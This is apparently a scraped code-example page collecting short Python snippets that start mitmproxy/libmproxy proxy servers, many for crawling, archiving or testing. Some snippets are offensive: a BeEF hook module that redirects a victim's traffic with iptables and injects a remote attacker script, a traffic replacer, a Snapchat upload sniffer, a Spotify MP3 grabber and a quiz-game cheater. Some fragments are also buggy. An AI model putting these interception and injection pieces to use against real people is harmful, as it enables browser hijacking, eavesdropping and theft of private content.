Exemplo n.º 1
0
def init_proxy(db_socket_address, crawl_id):
    """
    # deploys an (optional) instance of mitmproxy used to log crawl data
    <db_socket_address> is the connection address of the DataAggregator
    <crawl_id> is the id set by the TaskManager
    """

    proxy_site_queue = Queue.Queue(
    )  # queue for crawler to communicate with proxy

    # gets local port from one of the free ports
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(('', 0))
    proxy_port = sock.getsockname()[1]
    sock.close()

    config = proxy.ProxyConfig(cacert=os.path.join(os.path.dirname(__file__),
                                                   'mitmproxy.pem'), )
    server = proxy.ProxyServer(config, proxy_port)
    print 'Intercepting Proxy listening on ' + str(proxy_port)
    m = MITMProxy.InterceptingMaster(server, crawl_id, proxy_site_queue,
                                     db_socket_address)
    thread = threading.Thread(target=m.run, args=())
    thread.daemon = True
    thread.start()
    return proxy_port, proxy_site_queue
Exemplo n.º 2
0
def main(argv):
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server)
    m.run()
Exemplo n.º 3
0
 def __init__(self, config):
     s = proxy.ProxyServer(config, 0)
     state = flow.State()
     flow.FlowMaster.__init__(self, s, state)
     self.apps.add(testapp, "testapp", 80)
     self.apps.add(errapp, "errapp", 80)
     self.clear_log()
Exemplo n.º 4
0
def start_filter_proxy(options):
    print "Press Ctrl+C to stop the proxy"
    port = int(options.port)
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, port)
    m = HeaderFilterProxy(server)
    m.run()
def main (argv):
  config = proxy.ProxyConfig(
    cacert = os.path.expanduser('./mitmproxy.pem'),
  )
  server = proxy.ProxyServer(config, 8080)
  print 'Intercepting Proxy listening on 8080'
  m = InterceptingMaster(server)
  m.run()
Exemplo n.º 6
0
 def __init__(self, testq, config):
     s = proxy.ProxyServer(config, 0)
     s.apps.add(testapp, "testapp", 80)
     s.apps.add(errapp, "errapp", 80)
     state = flow.State()
     flow.FlowMaster.__init__(self, s, state)
     self.testq = testq
     self.clear_log()
     self.start_app(APP_HOST, APP_PORT, False)
Exemplo n.º 7
0
def main():
    print "serving at port", PORT

    #httpd.serve_forever()

    config = proxy.ProxyConfig()

    server = proxy.ProxyServer(config, PORT)
    m = RequestRecorder(server)
    m.run()
Exemplo n.º 8
0
 def __init__(self, port):
     password_manager = http_auth.PassManSingleUser('scrapy', 'scrapy')
     authenticator = http_auth.BasicProxyAuth(password_manager, "mitmproxy")
     cert_path = os.path.join(os.path.abspath(os.path.dirname(__file__)),
                              'keys', 'mitmproxy-ca.pem')
     server = proxy.ProxyServer(
         proxy.ProxyConfig(authenticator=authenticator, cacert=cert_path),
         port)
     Thread.__init__(self)
     controller.Master.__init__(self, server)
Exemplo n.º 9
0
def main(argv):
    if len(argv) != 2:
        print "Usage: %s IFRAME_URL" % argv[0]
        sys.exit(1)
    iframe_url = argv[1]
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, 8080)
    print 'Starting proxy...'
    m = InjectingMaster(server, iframe_url)
    m.run()
Exemplo n.º 10
0
class beef_hook(Attack):
    """ Injects BeEF hooks into poisoned traffic.  Requires libmproxy
        and it's dependencies
    """
    def __init__(self):
        self.hook_path = None
        self.proxy_server = None
        self.hooker = None
        self.hooked_host = None
        self.hook_script = "<script src=\"{0}\"></script>"
        self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544"
        super(beef_hook, self).__init__("BeEF Hook")

    def modip_rule(self, enable=True):
        """ enables or disables the iptable rule for forwarding traffic locally
        """
        if enable:
            util.init_app(self.iptable_http.format(self.hooked_host))
        else:
            util.init_app(
                self.iptable_http.replace('-A', '-D').format(self.hooked_host))

    def initialize(self):
        while True:
            try:
                self.hook_path = raw_input('[!] Enter path to BeEF Hook: ')
                self.hooked_host = raw_input('[!] Enter host to hook: ')

                tmp = raw_input(
                    '[!] Hooking host \'%s\'.  Is this correct? [Y/n] ' %
                    self.hooked_host)
                if 'n' in tmp.lower():
                    return None
                break
            except KeyboardInterrupt:
                return None
            except Exception, e:
                util.Error(e)

        self.hook_script = self.hook_script.format(self.hook_path)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        thread = Thread(target=self.hooker.run)
        thread.start()

        return self.hooked_host
Exemplo n.º 11
0
    def __init__(self):
        Thread.__init__(self)

        config = proxy.ProxyConfig(
            cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
            transparent_proxy=dict(showhost=True,
                                   resolver=platform.resolver(),
                                   sslports=[443, 8443])  #Thanks nmonkee
        )
        state = flow.State()
        server = proxy.ProxyServer(config, 8080)
        self.m = MyMaster(server, state)
Exemplo n.º 12
0
def start_creator_proxy(options):
    global collection

    port = int(options.port)
    name = options.name
    path = options.path
    host = options.host

    if options.restricted_headers == 'false':
        restricted_headers = False
    else:
        restricted_headers = True

    methods = options.methods
    status_codes = ""

    print "Proxy running at %d" % (port)
    print "Press Ctrl+C to stop the proxy"

    rules = {
        'host': host,
        'methods': methods,
        'restricted_headers': restricted_headers
    }

    collection = Collection(name, path)
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    server = proxy.ProxyServer(config, port)

    if options.tcp_connection == 'false':
        tcp_connection = False
    else:
        tcp_connection = True

    m = CollectionCreatorProxy(server,
                               collection,
                               rules,
                               tcp_connection=tcp_connection,
                               tcp_host=options.tcp_host,
                               tcp_port=options.tcp_port)

    m.run()

    signal.signal(signal.SIGINT, signal_handler)
    print 'Press Ctrl+C again to save the collection'
    signal.pause()
Exemplo n.º 13
0
    def initialize(self):
        self.hook_script = self.hook_script.format(self.config['hook_path'].value)
        self.modip_rule()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
                                        resolver = platform.resolver(),
                                        sslports = [443])
                                )

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.hook_script)

        util.Msg('Firing up BeEF hook...')
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
Exemplo n.º 14
0
    def initialize(self):
        self.load_file()
        if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
            util.Error("No matches loaded.")
            return False

        self.modip()

        self.running = True
        config = proxy.ProxyConfig(transparent_proxy=dict(
            resolver=platform.resolver(), sslports=[443]))

        config.skip_cert_cleanup = True
        self.proxy_server = proxy.ProxyServer(config, 5544)
        self.hooker = Hooker(self.proxy_server, self.replace_regex,
                             self.replace_tags)

        util.Msg("Launching replacer...")
        thread = Thread(target=self.hooker.run)
        thread.start()

        return True
Exemplo n.º 15
0
def main():
    
    
    #config stuff
    if(len(sys.argv) == 2):
        if(os.path.isfile(sys.argv[1])):
            sys.argv[1] = "@" + sys.argv[1]
            os.chdir(os.path.split(inspect.getfile( inspect.currentframe() ))[0])
            
    defaultConfig = (len(sys.argv) == 1)
    if defaultConfig and os.path.exists('default.conf'):
        sys.argv.insert(1,'@default.conf')
    parser = ArgumentParser(
                            usage = "%(prog)s [options]",
                            fromfile_prefix_chars="@"
                            )
    ArgumentParser.convert_arg_line_to_args = hcmdline.convert_arg_line_to_args
    parser.add_argument('--version', action='version', version=version.NAMEVERSION)
    mcmdline.common_options(parser)
    hcmdline.fix_options(parser) #remove some mitmproxy stuff

    options = parser.parse_args()
    
    dumpoptions = dump.Options(dumpdir=options.dumpdir,**mcmdline.get_common_options(options))
    
    #set up proxy server
    proxyconfig = mproxy.process_proxy_options(parser, options)
    
    if options.no_server:
        server = mproxy.DummyServer(proxyconfig)
    else:
        try:
            server = mproxy.ProxyServer(proxyconfig, options.port, options.addr)
        except mproxy.ProxyServerError, v:
            print >> sys.stderr, "%(name)s: %(args)s" % {"name": version.NAME, "args": v.args[0]}
            sys.exit(1)
Exemplo n.º 16
0
 def __init__(self, testq, config):
     s = proxy.ProxyServer(config, 0)
     state = flow.State()
     flow.FlowMaster.__init__(self, s, state)
     self.testq = testq
Exemplo n.º 17
0
 def __init__(self, port, testq):
     serv = proxy.ProxyServer(proxy.SSLConfig("data/testkey.pem"), port)
     controller.Master.__init__(self, serv)
     self.testq = testq
     self.log = []
Exemplo n.º 18
0
class SpotifyProxy(flow.FlowMaster):
    def run(self):
        try:
            flow.FlowMaster.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def handle_request(self, r):
        f = flow.FlowMaster.handle_request(self, r)
        if f:
            r._ack()
        return f

    def handle_response(self, r):
        f = flow.FlowMaster.handle_response(self, r)
        if f:
            r._ack()
        if 'cloudfront.net' in f.request.host and 'mp3' in f.request.path:
            filename = '%s.mp3' % hashlib.sha1(str(random.random())).hexdigest()
            mp3 = open(filename, 'w')
            mp3.write(f.response.content)
            mp3.close()
            print "Saved to %s" % filename
        return f

config = proxy.ProxyConfig()
state = flow.State()
server = proxy.ProxyServer(config, 9000)
m = SpotifyProxy(server, state)
m.run()
Exemplo n.º 19
0
            os.system('open %s' % filename)
            self.count += 1

    def handle_request(self, msg):
        hid = (msg.host, msg.port)
        if msg.host == 'feelinsonice-hrd.appspot.com' and msg.path == '/bq/upload':
            env = {}
            env['REQUEST_METHOD'] = msg.method
            env['CONTENT_TYPE'] = msg.get_content_type()
            env['CONTENT_LENGTH'] = len(msg.content)
            c = cgi.parse(environ=env, fp=StringIO(msg.content))
            if c.has_key('username'):
                print 'Upload from %s' % c['username'][0]
                self.process_snapchat(c['data'][0])
        msg.reply()

    def handle_response(self, msg):
        hid = (msg.request.host, msg.request.port)
        if msg.request.host == 'feelinsonice-hrd.appspot.com':
            self.process_snapchat(msg.content)
        msg.reply()


config = proxy.ProxyConfig(
    cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
port = 3128
server = proxy.ProxyServer(config, port)
m = SnapSniff(server)
print 'Listening on port %s' % port
m.run()
Exemplo n.º 20
0
                for answer in powerupq['answers']:
                    if cont == correcta_powerup:
      #                  print colored("%s. %s" % (cont,answer),"green")
                        print (Fore.GREEN + "%s. %s" % (cont,answer))
                    else:
                        # print colored("%s. %s" % (cont,answer),"red")
                        print (Fore.RED + "%s. %s" % (cont,answer))
                    cont += 1
                print (Fore.RESET)
        msg.reply()


config = proxy.ProxyConfig(
    cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
)
print Fore.BLUE
print "  ********************************************"
print "  *   Author: Felipe Molina (@felmoltor)     *"
print "  *          Date: January 2014              *"
print "  *                                          *"
print "  *        PREGUNTADOS CHEATER v0.1          *"
print "  * Just showing you the correct answers :-) *"
print "  ********************************************"
print Fore.RESET
print "Proxy listening on 192.168.1.132:8888..."

server = proxy.ProxyServer(config, 8888)
m = PreguntadosMaster(server)
m.run()
print "Bye, bye cheater..."
Exemplo n.º 21
0
#!/usr/bin/python

from libmproxy import controller, proxy

class Sniffer(controller.Master):
    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()


    def handle_request(self, request):
        print "Got request\n" + str(request.headers)
        request._ack()

    def handle_response(self, response):
        print "Got response\n" + str(response.headers)
        print response.content
        response._ack()


port = 1337
ssl_config = proxy.SSLConfig("cert.pem")
proxy_server = proxy.ProxyServer(ssl_config, port)
m = Sniffer(proxy_server)

print "Running proxy on port " + str(port)
m.run()
Exemplo n.º 22
0
class StickyMaster(controller.Master):
    def __init__(self, server):
        controller.Master.__init__(self, server)
        self.stickyhosts = {}

    def run(self):
        try:
            return controller.Master.run(self)
        except KeyboardInterrupt:
            self.shutdown()

    def handle_request(self, msg):
        hid = (msg.host, msg.port)
        if msg.headers.has_key("cookie"):
            self.stickyhosts[hid] = msg.headers["cookie"]
        elif hid in self.stickyhosts:
            msg.headers["cookie"] = self.stickyhosts[hid]
        msg.ack()

    def handle_response(self, msg):
        hid = (msg.request.host, msg.request.port)
        if msg.headers.has_key("set-cookie"):
            self.stickyhosts[hid] = f.response.headers["set-cookie"]
        msg.ack()


server = proxy.ProxyServer(8080)
m = StickyMaster(server)
m.run()
Exemplo n.º 23
0
#################### BEGIN OVERALL CONFIGS ############################
#DOES NOT UPDATE ON THE FLY
resourceScript = userConfig['Overall']['resourceScript']
config = proxy.ProxyConfig(
    cacert=os.path.expanduser(userConfig['Overall']['certLocation']),
    body_size_limit=userConfig['Overall']['MaxSizeFileRequested'],
)

if userConfig['Overall']['transparentProxy'] == "True":
    config.transparent_proxy = {
        'sslports': userConfig['Overall']['sslports'],
        'resolver': platform.resolver()
    }

server = proxy.ProxyServer(config, int(userConfig['Overall']['proxyPort']))

numericLogLevel = getattr(logging, userConfig['Overall']['loglevel'].upper(),
                          None)

if not isinstance(numericLogLevel, int):
    raise ValueError(
        "o_O: INFO, DEBUG, WARNING, ERROR, CRITICAL for loglevel in conifg")
    sys.exit()

logging.basicConfig(filename=userConfig['Overall']['logname'],
                    level=numericLogLevel,
                    format='%(asctime)s %(message)s')

#################### END OVERALL CONFIGS ##############################
Exemplo n.º 24
0
        # in the future, better inspection modules can be implemented
        # based on the request parameters.
        current_path = urlparse.urlparse(msg.get_url()).path

        # check if we are in protect mode. if we are, we will kill the request
        # if the current path was not saved in the DB.
        if not args.learn_mode and current_path not in db:
            msg.reply(proxy.KILL)
            return

        # learn the current path if needed
        if args.learn_mode:
            if current_path not in db:
                db[current_path] = True

        msg.reply()

    def handle_response(self, msg):
        # always return the server response as-is.
        msg.reply()


if __name__ == '__main__':
    # Run in reverse proxy mode
    config = proxy.ProxyConfig(reverse_proxy=('http', args.server_host,
                                              args.server_port))

    server = proxy.ProxyServer(config, args.incoming_port)
    defender = ServerDefender(server)
    defender.run()
Exemplo n.º 25
0
def main(argv):

    version = "1.0"
    usage = "Usage: %prog [options] <mosquito-websockets-port> <http-proxy-port>"

    parser = OptionParser(usage=usage, version=version)

    parser.add_option(
        '-a',
        '--attacker-iface',
        dest="attacker_iface",
        default="127.0.0.1",
        help=
        "Interface for services that attacker will connect to [default: %default]"
    )
    parser.add_option(
        '-p',
        '--public-iface',
        dest="public_iface",
        default="0.0.0.0",
        help="Interface for services victim access [default: %default]")
    parser.add_option(
        '--http',
        dest="http_port",
        type="int",
        help=
        "Start HTTP server on port HTTP_PORT. Will serve files under webroot/")
    parser.add_option('-w',
                      '--webroot',
                      dest="webroot",
                      default="webroot",
                      help="Directory to serve files from [default: %default]")
    parser.add_option('-d',
                      '--debug',
                      dest="debug",
                      action="store_true",
                      default=False,
                      help="Turn debugging on [default: %default]")

    (options, args) = parser.parse_args()

    if options.debug:
        logging.getLogger().setLevel(logging.DEBUG)
        logging.debug("Debugging mode ON")

    if len(args) != 2:
        parser.print_help()
        parser.error("Incorrect number of arguments")

    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    if not os.path.exists(config.cacert):
        logging.info("Generating SSL CA certificate")
        import netlib
        netlib.certutils.dummy_ca(config.cacert)

    logging.info("Install CA cert %s in your browser for best experience",
                 config.cacert)

    ws_port = int(args[0])
    http_proxy_port = int(args[1])

    server = proxy.ProxyServer(
        config, http_proxy_port,
        options.attacker_iface)  # start HTTP proxy on port 4444
    logging.info("Started HTTP proxy server on http://%s:%d", server.address,
                 server.port)

    mosquito_ip = '127.0.0.1'

    connector = MosquitoToMitmproxyConnector(
        mosquito_ip, 0)  # start Malaria server on given IP, any high port
    logging.info("Started Mosquito TCP server on %s:%d", connector.ip,
                 connector.port)

    logging.info("Adding WSGI mosquito management app on http://mosquito")
    server.apps.add(connector.handle_wsgi_request, "mosquito", 80)

    m = OutOfBandMaster(server, flow.State(), connector.handle_flow_request)

    ws_p = None
    http_s = None

    if ws_port:
        if sys.platform == 'win32':
            # start websockify.exe
            ws_p = Process(
                target=start_ws_exe,
                args=[script_dir, ws_port, connector.ip, connector.port])
            ws_p.start()
        else:
            # start WebSocket server in separate port
            from websockify.websocketproxy import WebSocketProxy
            ws_server = WebSocketProxy(target_host=connector.ip,
                                       target_port=connector.port,
                                       listen_port=ws_port,
                                       listen_host=options.public_iface,
                                       daemon=False)
            ws_p = Process(target=ws_server.start_server, args=[])
            ws_p.start()
            logging.info("Started WebSocket server on ws://%s:%d",
                         ws_server.listen_host, ws_server.listen_port)

    if options.http_port:
        import http_server
        http_s = http_server.start(options.webroot, options.public_iface,
                                   options.http_port)

    m.run()
    logging.info("Exiting...")

    if ws_p:
        ws_p.terminate()
    if http_s:
        http_s.shutdown()
Exemplo n.º 26
0
        res = r.json()

        if res['match']:
            print '=' * 80
            print '*** Holy F*****g shit! Match from {0} ***'.format(name)
            print '=' * 80
        else:
            print 'Nope {0}'.format(name)

    def get_headers(self):
        if not self.token:
            return False
        headers = HEADERS
        headers['X-Auth-Token'] = self.token
        headers['Authorization'] = 'Token token="{0}"'.format(self.token)
        return headers


if __name__ == '__main__':
    config = proxy.ProxyConfig(
        cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))
    state = flow.State()

    server = proxy.ProxyServer(config, PORT)

    print '> Proxying on {0}'.format(PORT)

    m = MyMaster(server, state)
    m.run()
Exemplo n.º 27
0
        try:
            file = open(filename, "a")
            file.write(content)
            file.flush()

        except IOError, args:
            pass
        file.close()

    def Noporxy_request(self, url):
        oururl = str(url)
        result = filter.search(url)
        return result

    def Decode_Request_Body(self, data):
        if (not data):
            return ""
        return zlib.decompress(data, 16 + zlib.MAX_WBITS)

    def Encode_Request_Body(self, data):
        if (not data):
            return ""
        return zlib.compress(data, zlib.Z_BEST_COMPRESSION)


config = proxy.ProxyConfig(
    cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"))

server = proxy.ProxyServer(config, 8089)
m = Record(server)
m.run()
Exemplo n.º 28
0
parser = argparse.ArgumentParser(description='Warc Man-in-the-Middle Proxy')
parser.add_argument('--pem',
                    default='ca.pem',
                    help='Privacy-enhanced Electronic Mail file.')
parser.add_argument('-p',
                    '--port',
                    default=8000,
                    help='Port to run the proxy server on.')
parser.add_argument('-f',
                    '--file',
                    default='out.warc.gz',
                    help='WARC filename to save to. Include .gz for gzip.')

args = parser.parse_args()
args.pem = os.path.expanduser(args.pem)
if not os.path.isfile(args.pem):
    print "Supplied pem file can not be found:", args.pem
    exit()
try:  # Parse the port into an integer
    args.port = int(args.port)
except:
    print "Please specify a valid number for the port:", args.port
    exit()

# Create proxy config from PEM file
config = proxy.ProxyConfig(cacert=os.path.expanduser(args.pem))
server = proxy.ProxyServer(config, args.port)
m = WarcMaster(args.file, server)
print "Proxy server running on port", args.port
m.run()